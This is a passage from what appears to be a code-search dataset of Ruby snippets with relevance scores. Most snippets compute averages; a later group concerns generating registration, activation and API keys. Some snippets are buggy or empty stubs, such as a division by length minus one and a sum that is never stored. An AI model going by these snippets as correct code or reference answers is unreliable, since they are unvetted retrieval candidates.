"text": "def average_predict_time\n\t\treturn @timmer/Float(@predict_call_count)\n\tend",
"title": ""
},
{
"docid": "6f019064f83b2e4b96c1b263086838db",
"score": "0.5925837",
"text": "def calculate_marks\n stream = Stream.find(stream_id)\n sub_maps = stream.sub_str_maps.all\n xuser = self.user\n xcategory = xuser.personal.category\n xacademic = xuser.academic\n tenth_mark = xacademic.tenth_marks\n user_subs = xacademic.subject_entries.all\n total_special_sub = sub_maps.count\n total = 0\n user_subs.each do |us|\n total += us.marks\n sub_maps.each do |sm|\n if us.subject_id == sm.subject_id\n total += us.marks\n end\n end\n end\n self.calculated_marks = total*10000 + tenth_mark\n end",
"title": ""
},
{
"docid": "f76ced592134f9711811bbc8b97fe9a4",
"score": "0.5768766",
"text": "def average_age\n total_age = 0\n @@all.each do |manager|\n total_age += manager.age\n end\n (total_age/ (@@all.length -1))\n end",
"title": ""
},
{
"docid": "62152e331400fb2356a7454b4307653c",
"score": "0.57424164",
"text": "def assignment_average_score(grade_hash, assignment_num)\n marks = assignment_scores(grade_hash, assignment_num)\n marks.sum / marks.length\nend",
"title": ""
},
{
"docid": "c53e7fa2604875b86e302bb50e0f968c",
"score": "0.57226723",
"text": "def average_pricessing_time(mashine_number, remainded_jobs)\n jobs_count = remainded_jobs.count.to_f\n processing_times_for_mashine = processing_times.row(mashine_number)\n\n remainded_jobs\n .map { |job_number| processing_times_for_mashine[job_number] }\n .sum / jobs_count\n end",
"title": ""
},
{
"docid": "324c9f136be6d16ccb35dbe683d53226",
"score": "0.5685477",
"text": "def avg_reviews_with_owner(before = DateTime.new(2050,01,01))\n code_reviews(before).average(:total_reviews_with_owner)\n end",
"title": ""
},
{
"docid": "47657ee9280287682ede314e21ac380c",
"score": "0.5685282",
"text": "def average_calories\n calories = self.desserts.map {|dessert| dessert.calories}\n length = calories.length\n calories.sum.to_f / length.to_f\n end",
"title": ""
},
{
"docid": "c2dfc01b6f542ab56203986ca01e040d",
"score": "0.5684298",
"text": "def team_average\n # This version is implemented as a database AVG operation,\n # but it cannot be eager loaded so it results in an extra\n # database query for each project:\n #\n # avg = students_projects.select(:points).average :points\n # avg ? avg.round : 0\n\n # This version programmatically finds the average of the points:\n #self.reload\n no_of_students = self.students_projects.length\n return 0 if no_of_students == 0\n total = 0\n self.students_projects.each { |s| total += s.points }\n (total / no_of_students).round\n end",
"title": ""
},
{
"docid": "ba97350e2af42d2f3c05d14e42fe8791",
"score": "0.56502265",
"text": "def current_average\n earned = self.current_points\n possible = self.section.points_assigned\n \n (earned.to_f / possible)*100\n end",
"title": ""
},
{
"docid": "3fcd768edcd563c05565b2c6fd7867dc",
"score": "0.5635978",
"text": "def average\n @grades.reduce(0,:+) / @grades.size.to_f\n end",
"title": ""
},
{
"docid": "a3f4a5ff06dfe67967553e59369217de",
"score": "0.56351537",
"text": "def average_score\n count = 0.0\n avrg = 0.0\n if self.cadets.empty?\n return 0.0\n else\n self.cadets.each do |cdt|\n unless cdt.discharged?\n avrg += cdt.average_score\n count += 1.0\n end\n end\n return count != 0.0 ? (avrg/count).round(1) : 0.0\n end\n end",
"title": ""
},
{
"docid": "884606a175cb2f238e2229fb447cb66c",
"score": "0.56282395",
"text": "def average\n\t\treturn self.sum / self.length.to_f\n\tend",
"title": ""
},
{
"docid": "10f925f8f986ed6cabf35a85302396f9",
"score": "0.560977",
"text": "def running_average; end",
"title": ""
},
{
"docid": "fec94260a49494c842248bdc51f66bc3",
"score": "0.5607724",
"text": "def average\n return ((@critics_score + @audience_score) / 2.0) #ultimate math skillz.\n end",
"title": ""
},
{
"docid": "3dd4a031a60ac5980a7f3cf316f75ab8",
"score": "0.5594507",
"text": "def avg_owner_familiarity_gap(before = DateTime.new(2050,01,01))\n code_reviews(before).average(:owner_familiarity_gap)\n end",
"title": ""
},
{
"docid": "be50871995705ea5d84c9d83d36b61d0",
"score": "0.5588692",
"text": "def avg_duration\n @avg_duration if @total > 0\n end",
"title": ""
},
{
"docid": "4d65258bf1a72e79021d4fd78a7674e2",
"score": "0.55822664",
"text": "def get_total_mark\n user_visibility = is_a_review? ? :peer_visible : :ta_visible\n Result.get_total_marks([self.id], user_visibility: user_visibility)[self.id]\n end",
"title": ""
},
{
"docid": "57a52d66fd08df545ac44465ef6c766d",
"score": "0.55806327",
"text": "def userAvgCalculator\n\t\t\ttotal = 0\t\t\t\t\t\t\t\t\t# Initial total prayers\n\t\t\t# Loop through each all the Day prayers\n\t\t\[email protected] do |day|\n\t\t\t\ttotal += 1 if day[:fajr] == 2\t\t\t# Add one to total if prayer performed\n\t\t\t\ttotal += 1 if day[:zuhr] == 2\t\t\t# Add one to total if prayer performed\n\t\t\t\ttotal += 1 if day[:asr] == 2\t\t\t# Add one to total if prayer performed\n\t\t\t\ttotal += 1 if day[:maghrib] == 2\t\t# Add one to total if prayer performed\n\t\t\t\ttotal += 1 if day[:isha] == 2\t\t\t# Add one to total if prayer performed\n\t\t\tend\n\t\t\t# Calculate how many days the user was requested for a response,\n\t\t\t# and the user responded and or the email was deactivated\n\t\t\tavg = (total / @timesRequestSent.to_f).round(2) # Calculate the average\n\t\tend",
"title": ""
},
{
"docid": "db253725df4f42a53f8442ccf5d5bd74",
"score": "0.55690986",
"text": "def avg_score\n reviews.average(:rating).round(2).to_f\n end",
"title": ""
},
{
"docid": "b3693dc7689299da7272f419615354de",
"score": "0.5568833",
"text": "def avg_time_lap\n times = []\n self.voltas.each { |lap_num, lap_stat| times << time_in_ms(lap_stat[:tempo])}\n return ms_to_min(get_avg(times))\n end",
"title": ""
},
{
"docid": "d32cd005597c147a8cb5629892983b98",
"score": "0.5567282",
"text": "def average_driving_time\n if self.total_duration > 0\n ((self.total_driving_time / self.total_duration) * 100)\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "a57f133b834b2e494a97aa434afad5a1",
"score": "0.5563706",
"text": "def starters_average\n total = self.players.starter.inject(0) {|result, element| result + element.average_qualities}\n return total / MIN_PLAYERS\n end",
"title": ""
},
{
"docid": "ede5e42712fae524feb9c7162a3679dc",
"score": "0.5558804",
"text": "def average_calories\n total = 0\n self.desserts.each do |dessert|\n total + dessert.calories / dessert.ingreidents.length\n end\n total\n end",
"title": ""
},
{
"docid": "e92acea9a87bde95a21aaadbc8a6e27d",
"score": "0.5533795",
"text": "def calculateAverage notes\n total_note = 0\n notes.each do |note|\n total_note += note\n end\n total_note / notes.length\nend",
"title": ""
},
{
"docid": "ea23caedd3362696b04b0a807d97e0c4",
"score": "0.5530251",
"text": "def marks; end",
"title": ""
},
{
"docid": "1b3d9a4df3e50cf4b4bbdb209edc244f",
"score": "0.5523556",
"text": "def average_rating\n guest_reviews.count == 0 ? 0 : guest_reviews.average(:star).round(2).to_i\n end",
"title": ""
},
{
"docid": "5acd543b6ba201d07d50670bde4babcf",
"score": "0.5518797",
"text": "def soft_average?(period)\n allMarks = Mark.where(:student_to_id => self, :period_id => period)\n array = Array.new\n allMarks.each do |single_mark|\n array.push(single_mark.value)\n end\n array.sort\n\n #delete minimum and maximum\n array.delete_at(0)\n if array.size != 0\n array.delete_at(array.size-1)\n end\n\n\n # no marks left ?-> error\n if array.size == 0\n return 0\n end\n return array.sum.to_f / array.size\n\n end",
"title": ""
},
{
"docid": "38832713e0359e81d27abe50812e0728",
"score": "0.5513517",
"text": "def average_score\n grades.average(:score) || 0\n end",
"title": ""
},
{
"docid": "ec6b86fc321517acbf1fe4411be08351",
"score": "0.5510431",
"text": "def average_lift_total\n num_of_lifters = Lifter.all.length \n total_lifter_num = 0 \n Lifter.all.each do |lifter_instance|\n total_lifter_num += lifter_instance.lift_total\n end\n average = total_lifter_num/num_of_lifters \n average\n end",
"title": ""
},
{
"docid": "16f4dcc9b3ec73d7001c511569b83baf",
"score": "0.55093765",
"text": "def average_assignment_score\n assignment_average_scores.inject(:+).to_f/num_assignments\n rescue ZeroDivisionError\n 0\n end",
"title": ""
},
{
"docid": "1c33c3941e9916a44da5a1d6679240ef",
"score": "0.54993737",
"text": "def exam_mar(subject, student, marks)\n exam = exam_data(subject)\n exam_score = exam.scores(student)\n return if exam.nil?\n marks.to_f + exam_score.marks.to_f\n end",
"title": ""
},
{
"docid": "09f0d9ed730dd7b45246b6e84c9015ef",
"score": "0.5495756",
"text": "def avg_time\n self[:avg_time] || Tournament.current.default_avg_time\n end",
"title": ""
},
{
"docid": "362c91176f7c322017674dded971cbef",
"score": "0.5481427",
"text": "def average_reviews\n numerator = 0\n denominator = 0\n total = 0\n n = 0\n self.trainings.each do |training|\n unless training.average_reviews.nil?\n n += training.average_reviews[:number]\n numerator += training.average_reviews[:average_score] * training.average_reviews[:number]\n denominator += training.average_reviews[:number]\n end\n end\n if denominator != 0\n (total = numerator / denominator)\n total\n else\n \"No reviews\"\n end\n end",
"title": ""
},
{
"docid": "a68fee4854aa3d91645ed85227a284a7",
"score": "0.54801655",
"text": "def average_percentage_passed_float\n return self.data[\"average_percent_passed\"].to_f\n end",
"title": ""
},
{
"docid": "8779f7ab2434f73add223a3ced1df29c",
"score": "0.54766726",
"text": "def average_rating\n total = 0\n self.reviews.each do |review|\n total += review.rating\n end\n average = total.to_f / self.reviews.count\n end",
"title": ""
},
{
"docid": "486d7531b54bafdabb59f14987f518e9",
"score": "0.54611665",
"text": "def average\n total_sum = @person_array.inject(0){ |sum, p| sum += p.awesomeness } \n size = @person_array.size \n return (total_sum / size)\n end",
"title": ""
},
{
"docid": "ae621108a4d652033aa76a17b6bdea86",
"score": "0.5443791",
"text": "def average_rating\n\t\tall_ratings = self.reviews.map{|review| review.rating}\n\t\taverage_rating = all_ratings.reduce(0){|sum, rating| sum + rating} / all_ratings.count.to_f\n\t\t'%.1f' % average_rating \n\tend",
"title": ""
},
{
"docid": "26c5b7f67083c9f20e1b465f496c29df",
"score": "0.54423857",
"text": "def get_average_lat\n self.steps.map(&:lat).compact.reduce(:+) / steps.count\n end",
"title": ""
},
{
"docid": "d4c357abe0bd153e4c5ab623021dad92",
"score": "0.5440607",
"text": "def get_set_pass_average(player)\n @passing_average = 0\n pass_list = []\n @passes = Touch.where(\"player_id = \" + player.id.to_s + \" AND touch_type = 'Pass' AND match_set_id = \" + @match_set.id.to_s)\n @passes.each do |pass|\n pass_list.push(pass.touch_result.to_i)\n end\n @passing_average = (pass_list.sum.to_i) / (pass_list.size.to_f)\n end",
"title": ""
},
{
"docid": "f36b0da9e3d29a8c8a5ae99cb5823438",
"score": "0.5439268",
"text": "def average_rating\n sum = 0\n self.ratings.each do |rating|\n sum += rating.score\n end\n avg = sum/self.ratings.length\n avg.to_f\n end",
"title": ""
},
{
"docid": "3b5be90ae16df90fffd3ddd6a3ba3198",
"score": "0.5438135",
"text": "def get_average_lng\n (self.steps.map(&:lng).compact.reduce(:+)) / steps.count\n end",
"title": ""
},
{
"docid": "741665eb123e9f13e051154d51b4c97d",
"score": "0.5432194",
"text": "def average\n return self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "39e4d7af0e967badab4813fd14a779b0",
"score": "0.5417406",
"text": "def average_rating\n average = 0\n count = 0 \n self.trips.each do |trip|\n average += trip.rating.to_i\n count += 1\n end\n return average / count\n end",
"title": ""
},
{
"docid": "8923760842efbaecce52019c6a71b4b3",
"score": "0.54045224",
"text": "def reviews_average\n reviews = my_qualifications\n return ((reviews.pluck(:qualification).compact.sum / reviews.count) * 2.0).round / 2.0 unless reviews.count.zero?\n 0\n end",
"title": ""
},
{
"docid": "eb60e9470db0e293ffee2d223081e35e",
"score": "0.54016143",
"text": "def avg_shots_per_kill\n @shots.to_f / @kills\n end",
"title": ""
},
{
"docid": "0bd19dabc1b7d64f32cc103d9b1005b7",
"score": "0.5396334",
"text": "def avg_score\n return 0 unless reviews.count.positive?\n reviews.average(:score).round(2).to_f\n end",
"title": ""
},
{
"docid": "4a5a2794e985b131844978d88b0b2f06",
"score": "0.5391129",
"text": "def calculate_reviews_average(score)\n (self.reviews_average * self.reviews_count + score) / (self.reviews_count + 1)\n end",
"title": ""
},
{
"docid": "102f80acfd6e5c2ddda4fa2249eb39f7",
"score": "0.5381307",
"text": "def average_response_time\n return summary_average[:average_response_time]\n end",
"title": ""
},
{
"docid": "dbc61c3077633a4a4fa10dd92b14f8ea",
"score": "0.5375287",
"text": "def results(marks)\n # your code here\n avg = (marks.reduce(:+) / (marks.length).to_f).round(3)\n\n scores = {\n \"h\"=> 0,\n \"a\"=> 0,\n \"l\"=> 0\n }\n\n marks.each do |i|\n if i > 8\n scores[\"h\"] += 1\n elsif i == 7 || i == 8\n scores[\"a\"] += 1\n else \n scores[\"l\"] += 1\n end\n end\n if scores[\"a\"] == 0 && scores[\"l\"] == 0\n result = [avg, scores, 'They did well']\n else\n result = [avg, scores]\n end\n result\nend",
"title": ""
},
{
"docid": "83d9fed755adc9d70360ab2e31224971",
"score": "0.5369242",
"text": "def avg_score\n return 0 unless reviews.count.positive?\n\n reviews.average(:score).round(2).to_f\n end",
"title": ""
},
{
"docid": "19e10417a7c8de24b1e8af4e67840a16",
"score": "0.5368585",
"text": "def average_age\n follower_ages = followers.map { |follower| follower.age }\n\n average = (follower_ages.reduce(0) { |a, v| a + v } / follower_ages.count).to_f\n end",
"title": ""
},
{
"docid": "c3cf3f01db69e4aa0ea4b6739c3bf0c7",
"score": "0.5363426",
"text": "def getavg\r\n\t\tif @duration == 0\r\n\t\t\treturn 0\r\n\t\telse\r\n\t\t\treturn ((@miles_driven.to_f / @duration)*60)\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "f7575ffec19a2a985bb0114cbdece9af",
"score": "0.53623414",
"text": "def average_rating\n if events.any?\n scores =[]\n events.each do |e|\n valid_ratings = e.ratings.valid_only\n if valid_ratings.any?\n scores << valid_ratings.map {|r| r.score}.sum / valid_ratings.size\n end\n end\n scores.sum/scores.size.to_f\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "3a7a960df20e55575fa8ef63016efe16",
"score": "0.53599036",
"text": "def calculate_marks(academic_record)\n marks = Hash.new\n marks[:sub1] = academic_record.sub1_marks.to_i if academic_record.sub1_marks\n marks[:sub2] = academic_record.sub2_marks.to_i if academic_record.sub2_marks\n marks[:sub3] = academic_record.sub3_marks.to_i if academic_record.sub3_marks\n marks[:sub4] = academic_record.sub4_marks.to_i if academic_record.sub4_marks\n marks[:sub5] = academic_record.sub5_marks.to_i if academic_record.sub5_marks\n marks[:sub6] = academic_record.sub6_marks.to_i if academic_record.sub6_marks\n marks[:sub7] = academic_record.sub7_marks.to_i if academic_record.sub7_marks\n marks[:sub8] = academic_record.sub8_marks.to_i if academic_record.sub8_marks\n marks[:sub9] = academic_record.sub9_marks.to_i if academic_record.sub9_marks\n marks[:sub10] = academic_record.sub10_marks.to_i if academic_record.sub10_marks\n\n marks = marks.sort {|x,y| y[1] <=> x[1]}.to_h\n array_marks = marks.values\n best4_marks = array_marks[0].to_i + array_marks[1].to_i + array_marks[2].to_i + array_marks[3].to_i\n\n calculated_marks = 1000000*best4_marks + 10000*academic_record.hs_marks_percent + 100*academic_record.tenth_marks_percent + academic_record.hs_year_pass-2000\n if academic_record.hs_board.downcase.eql?priority_board\n calculated_marks += priority_marks\n end\n calculated_marks\n end",
"title": ""
},
{
"docid": "bd3b39185b2d3cea4526bb60b7943557",
"score": "0.53583646",
"text": "def grade_percentage\n total = 0\n student_tests = BoatingTest.all.select {|test| test.student == self}\n student_tests.each do |test|\n if test.test_status == \"passed\"\n total += 1\n end\n end\n average = total.to_f / student_tests.length\n average * 100\n end",
"title": ""
},
{
"docid": "355bd58f57a1dcdec005a6d5ca1b147e",
"score": "0.5355606",
"text": "def avg_score\n return 0 unless reviews.size.positive?\n\n reviews.average(:score).to_f.round(2)\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5351612",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "91b0279d06174da97469824c924969d4",
"score": "0.53363794",
"text": "def get_average_rating\n num_of_trips = get_num_of_completed_trips\n return num_of_trips == 0 ? 0 : (get_ratings.to_f / num_of_trips)\n end",
"title": ""
},
{
"docid": "5ef563ebae9d8b0587370d152b303af2",
"score": "0.53224796",
"text": "def grade_average\n @grades.inject(:+) / @grades.size\n end",
"title": ""
},
{
"docid": "6ba91d4bb461d15e790440ed8597b848",
"score": "0.5314469",
"text": "def average_of(raitingss)\n raitingss.sum(&:score).to_f / raitingss.count\n end",
"title": ""
},
{
"docid": "8b5a7a519ea08897ec4a3eca743cdd58",
"score": "0.5309193",
"text": "def average_calories\n dessert_cal = desserts.map do |dessert|\n dessert.calories || 0\n end\n dessert_cal.reduce(:+)/dessert_cal.length\n end",
"title": ""
},
{
"docid": "96f7f7ecc888ac47b8ca4acb56ea373c",
"score": "0.5306186",
"text": "def getAvgRating(e)\n @count = 0\n @rs = Event.find_by(id: e).reviews\n if @rs.count == 0\n return \"None\"\n else\n @rs.each do |r|\n @count += r.rating\n end\n return @count/@rs.count\n end\n end",
"title": ""
},
{
"docid": "6c6700ec7e6931eb96be76085b4a3a0b",
"score": "0.53047913",
"text": "def average_rating\n\t\tall_ratings = self.reviews.map{|review| review.rating}\n\t\taverage_rating = all_ratings.reduce(0){|sum, rating| sum + rating} / all_ratings.count.to_f\n\t\t'%.0f' % average_rating # rounds to nearest integer for now\n\tend",
"title": ""
},
{
"docid": "9f9ec3f4901e5dd4b50252a23f9f1c49",
"score": "0.53036475",
"text": "def average_calories\n tot_calories = self.ingredients.sum {ingredient| ingredient.calories}\n tot_calories/self.desserts_count\n end",
"title": ""
},
{
"docid": "8caa23e51944a5692809692db367590e",
"score": "0.53022516",
"text": "def rating_average(movie_id) \n accumulator = 0.0\n user_list = @movie_hash[movie_id]\n if user_list == nil #If nobody saw the movie, return 0.\n return 0\n end\n user_list.each do |hash|\n accumulator += hash[hash.keys[0]].to_i\n end\n return average = (accumulator / @movie_hash[movie_id].length)\n end",
"title": ""
},
{
"docid": "55b7fd463082806a28fe2aacc17f354a",
"score": "0.5296323",
"text": "def avg_shots_per_kill\n @avg_shots_per_kill = @shots.to_f / @kills if @avg_shots_per_kill.nil?\n\n @avg_shots_per_kill\n end",
"title": ""
},
{
"docid": "5413f19429b0943a13e0610f7076866b",
"score": "0.52960336",
"text": "def average\n self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "5413f19429b0943a13e0610f7076866b",
"score": "0.52960336",
"text": "def average\n self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "82e9bee6a564aac610006bc45931262d",
"score": "0.5286925",
"text": "def average_rating\n if reviews.count >= 1\n self.reviews.average(:rating).to_f\n else\n \"No reviews yet!\"\n end\n end",
"title": ""
},
{
"docid": "d4ec41ed66a3a4ec5430d0f86bdb6324",
"score": "0.5286852",
"text": "def average_rating\n rating_sum = 0\n if @trips.length > 0\n @trips.each.map do |trip|\n rating_sum += trip.rating\n end\n total_rating = (rating_sum.to_f / trips.length.to_f)\n total_rating = total_rating.to_f\n puts total_rating\n return total_rating\n elsif @trips == []\n return 0\n end \n end",
"title": ""
},
{
"docid": "e4b7cd0e586a7727a5a56814667e94a8",
"score": "0.5286846",
"text": "def get_avg\n recentReviewed = get_user_cards(Result.all)\n filteredDates = get_dates(recentReviewed)\n totalScore = filteredDates.reduce(0) {|curr,n| curr + n.score} \n totalScore/filteredDates.count \n end",
"title": ""
},
{
"docid": "95710a7be0f8343d87556afd0f2a56a8",
"score": "0.5286484",
"text": "def average_score\n return nil if metrics.empty?\n totals = grades.includes(:subject).group_by(&:subject).map { |_, grades|\n grades.sum(&:weighted_score) }\n return 0 if totals.empty?\n totals.sum.to_f / totals.length\n end",
"title": ""
},
{
"docid": "4d0d9c1921a43eb22328c1a757d5ff52",
"score": "0.52828074",
"text": "def average_rating(assignment)\n # team = self.teams.find(team_id)\n # feedback = team.feedbacks.all.where(:receiver_id => self.user_id)\n feedback = assignment.feedbacks.where(:receiver_id => self.user_id)\n average = 0\n for f in feedback\n average += f.rating\n end\n if feedback.length != 0\n average = average/feedback.length\n average.to_s\n else\n 'N/A'\n end\n end",
"title": ""
},
{
"docid": "b14d534098b3b6ed8bd127c359d967c8",
"score": "0.5278183",
"text": "def gym_average_age\n total_users = self.find_all_gym_users.length\n user_ages = self.gym_user_instances.map{|user| user.age}.sum \n average = user_ages.to_f / total_users.to_f\n average\n end",
"title": ""
},
{
"docid": "8bc1595d3d48c3572439b4b8e03a7e81",
"score": "0.5274025",
"text": "def recalculate_average()\n\n #find total of all review ratings by iterating through them\n total = 0\n self.reviews.each do |review|\n total = total + review.rating\n end\n\n newAvg = total / self.reviews.size\n\n self.update_attribute(:avg_rating, newAvg)\n end",
"title": ""
},
{
"docid": "380f8b99796d99c52d125272ea6cdaf3",
"score": "0.5271769",
"text": "def average_rating\n return 'n/a' if reviews.empty?\n #return 0 if reviews.empty?\n (reviews.pluck(:rating).sum / reviews.count.to_f).round(2)\n end",
"title": ""
},
{
"docid": "3301e6bd95417f69035734fe6f53d828",
"score": "0.5261243",
"text": "def avg_sheriff_hours(before = DateTime.new(2050,01,01))\n @@EXPLAINS[:code_reviews_before] ||= code_reviews(before).explain\n code_reviews(before).average(:total_sheriff_hours)\n end",
"title": ""
},
{
"docid": "2d6d5a6f6581584ddbf2d0e09f1e15b3",
"score": "0.52572656",
"text": "def exam_total(subject, total)\n exam = exam_data(subject)\n return if exam.nil?\n total.to_f + exam.maximum_marks.to_f\n end",
"title": ""
},
{
"docid": "9062482232b2b6d928c68833eadadf8a",
"score": "0.5250342",
"text": "def average_rating\r\n comments.average(:rating).to_f\r\n end",
"title": ""
},
{
"docid": "3b16c6067de969998a396ac36a100551",
"score": "0.52497613",
"text": "def average_grade_overall\n return self.data[\"average_grade\"]\n end",
"title": ""
},
{
"docid": "1bf314d5ed2bbea3cf4fedd933f194e7",
"score": "0.52397144",
"text": "def get_score\n\t\tscore = ((360000/((@end_time - @start_time).to_f + @save_time.to_f))*((@number_of_correct-@number_of_hint).fdiv(@number_of_correct+1))).truncate(2)\n\t\tif score < 0\n\t\t\treturn 0\n\t\telse\n\t\t\treturn score\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5f1f65b8834038b3bd5242ded1a4e425",
"score": "0.5237335",
"text": "def team_score\n team_member = @current_user.team.users\n team_comment = Comment.where(user_id: team_member.pluck('id'))\n emotion_scores = team_comment.where('created_at BETWEEN ? AND ?', DateTime.now.beginning_of_day, DateTime.now.end_of_day).average(:score)\n emotion_scores\n end",
"title": ""
},
{
"docid": "6ca05f8ca19bcb0ef08513a75a2aec0b",
"score": "0.5237165",
"text": "def get_avg_rating(rides)\n total_rating = 0\n rides.each do |ride|\n total_rating += ride[:rating]\n end\n return total_rating.to_f / get_num_rides(rides)\nend",
"title": ""
},
{
"docid": "b053cbef45af9d52ea61e82ac65f839c",
"score": "0.5236827",
"text": "def avg_rating\n visits.avg_rating\n end",
"title": ""
},
{
"docid": "d7f5f227202dadeabcdf135e260dae0e",
"score": "0.52331823",
"text": "def test_average_flight\n average = (2453 + 1879 + 4323 + 4651 + 1680) / 5\n output = \"Average Distance: #{average} km\"\n assert_equal(output, average_flight(@south_america))\n end",
"title": ""
},
{
"docid": "2197c1399e81ec669da00d5d1b8de20e",
"score": "0.52328193",
"text": "def average_score\n if reviews.size > 0\n (reviews.sum(:rating) / reviews.size).round(1)\n else\n 0.0\n end\n end",
"title": ""
},
{
"docid": "21ab85cad534dda6abba8e5a2d414185",
"score": "0.52327985",
"text": "def reviews_avg\n number_with_precision(self.member_reviews.avg(:rating), precision: 1)\n end",
"title": ""
},
{
"docid": "754ba5159ecdca5cfa33bab417a2a263",
"score": "0.52296096",
"text": "def average()\n if(@countN > 0) then\n return @sum / @countN ;\n else\n return 0.0 ;\n end\n end",
"title": ""
},
{
"docid": "559ab6838d520ce071fb243f03672026",
"score": "0.52239835",
"text": "def average\n @data['average']\n end",
"title": ""
}
] |
8073ccf0ca3e0d74fbdcb60dd302f048
|
Overriden method to fill key registery No returned code here because this is handled by getPCStub as key generation for RDA is done by bruteforce
|
[
{
"docid": "5a9532c95be9ff36a97400d904af4276",
"score": "0.6502472",
"text": "def fillKeyReg(keyReg, keyVal)\n @@keyReg = keyReg\n return \"\"\n end",
"title": ""
}
] |
[
{
"docid": "c7aefa3d788236934c93369115a5154e",
"score": "0.64705735",
"text": "def generate_registration_key\n self.registration_key = 'C'.freeze + SecureRandom.base64(8)\n end",
"title": ""
},
{
"docid": "aae0dd62c8a3641ac05f651f6337a177",
"score": "0.63504493",
"text": "def generate_key; end",
"title": ""
},
{
"docid": "8a256fae789f77f7caef1519d0d28144",
"score": "0.6213216",
"text": "def initialize_keys\n @key0 = 0x12345678\n @key1 = 0x23456789\n @key2 = 0x34567890\n @password.each_byte { |byte| update_keys(byte.chr) }\n nil\n end",
"title": ""
},
{
"docid": "c81aee68d435c875bf6ec56974a756d3",
"score": "0.60969573",
"text": "def create_key\n self.key = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless Api.exists?(key: random_token)\n end\n end",
"title": ""
},
{
"docid": "384ece9d455eb5802bfad3b37a3be9d4",
"score": "0.60824203",
"text": "def key_generator; end",
"title": ""
},
{
"docid": "384ece9d455eb5802bfad3b37a3be9d4",
"score": "0.60824203",
"text": "def key_generator; end",
"title": ""
},
{
"docid": "e4148d61bde5d025ccddc1b4a01ac31a",
"score": "0.6078849",
"text": "def generate_user_key\n\t\tself.key = loop do\n random_hex = SecureRandom.urlsafe_base64\n break random_hex unless self.class.exists?(key: random_hex)\n end\n\tend",
"title": ""
},
{
"docid": "91e949e4385739f9942924abdda89a69",
"score": "0.6041123",
"text": "def generate_key\n begin\n multipliers = eval(self.software.multipliers)\n key = []\n self.challenge.split(\"-\").each_with_index do |word,i|\n word = word.to_i(16) # convert hex to dec\n word *= (word[0].even?) ? multipliers[i][:even] : multipliers[i][:odd]\n key << word.to_s(16).reverse[0,8].reverse # convert dec to hex, keep only 8 rightmost hex characters\n end\n self.activation_key = key.join(\"-\").upcase\n rescue\n self.activation_key = \"error!\"\n end\n end",
"title": ""
},
{
"docid": "379cbefaa8c5bbc873981a02f0b8b9f3",
"score": "0.6029552",
"text": "def keygen_tool\n return nil, nil, nil # ADD CODE HERE\n end",
"title": ""
},
{
"docid": "1c9ce9a29bb5d75ee376fbb6059d5f5e",
"score": "0.5973168",
"text": "def generate_code\n loop do\n self.code = SecureRandom.urlsafe_base64(40)\n break if valid?\n end\n end",
"title": ""
},
{
"docid": "8624750042996128d5d3f47de69b91a4",
"score": "0.59703845",
"text": "def generate_new_key(device: nil)\n password = nil\n dev_id = nil\n get_device(device: device) do |device|\n telnet_config = {\n 'Host' => device.ip,\n 'Port' => 8080\n }\n connection = Net::Telnet.new(telnet_config)\n connection.puts(\"genkey\")\n waitfor_config = {\n 'Match' => /./,\n 'Timeout' => false\n }\n password = nil\n dev_id = nil\n while password.nil? or dev_id.nil?\n connection.waitfor(waitfor_config) do |txt|\n while line = txt.slice!(/^.*\\n/) do\n words = line.split\n if words[0] == \"Password:\"\n password = words[1]\n elsif words[0] == \"DevID:\"\n dev_id = words[1]\n end\n end\n end\n end\n connection.close\n end\n return password, dev_id\n end",
"title": ""
},
{
"docid": "855743df3f8c012b454ed559230a420a",
"score": "0.5914757",
"text": "def generate_key\n proposed_key = nil\n\n loop do\n num_part = rand(10**7).to_s.rjust(7, \"0\")\n proposed_key = \"#{IDB_CONFIG[:key_prefix]}-#{num_part}\"\n break unless self.class.find_by(key: proposed_key)\n end\n proposed_key\n end",
"title": ""
},
{
"docid": "3fa4378d1ce75b3e032a97da30af8571",
"score": "0.5888259",
"text": "def generate_key\n self.key ||= SecureRandom.urlsafe_base64 32\n end",
"title": ""
},
{
"docid": "7ea8500c7b924d20327057d5545eabad",
"score": "0.5866632",
"text": "def regenerate_crypto\n info 'Regenerate crypto key'\n \n @session.configuration(:enforce_save) do\n zeroize 'crypto key'\n begin\n generate 'crypto key', 'rsa general-keys modulus 2048'\n rescue Exception => e\n generate 'crypto key', 'rsa modulus 2048'\n end\n set 'ip ssh version', 2\n end\n end",
"title": ""
},
{
"docid": "6028d9e0ea955776d5a905deec2262ea",
"score": "0.58608985",
"text": "def generate_keys(from_wallet_name, master_key)\n ks = { 'master' => master_key }\n %w(recovery money social memo).each do |role|\n private_key = Xgt::Ruby::Auth.generate_wif(from_wallet_name, master_key, 'recovery')\n public_key = Xgt::Ruby::Auth.wif_to_public_key(private_key, @address_prefix)\n ks[\"#{role}_private\"] = private_key\n ks[\"#{role}_public\"] = public_key\n end\n ks['wallet_name'] = Xgt::Ruby::Auth.generate_wallet_name(ks['recovery_public'])\n ks\nend",
"title": ""
},
{
"docid": "211466af5898bb33ce75fac376f84e0b",
"score": "0.5842919",
"text": "def save_verification_key\n self.verification_key = KeyGenerator.create\n end",
"title": ""
},
{
"docid": "d8521d26a1eaddb7349e639cfd230ee8",
"score": "0.5827738",
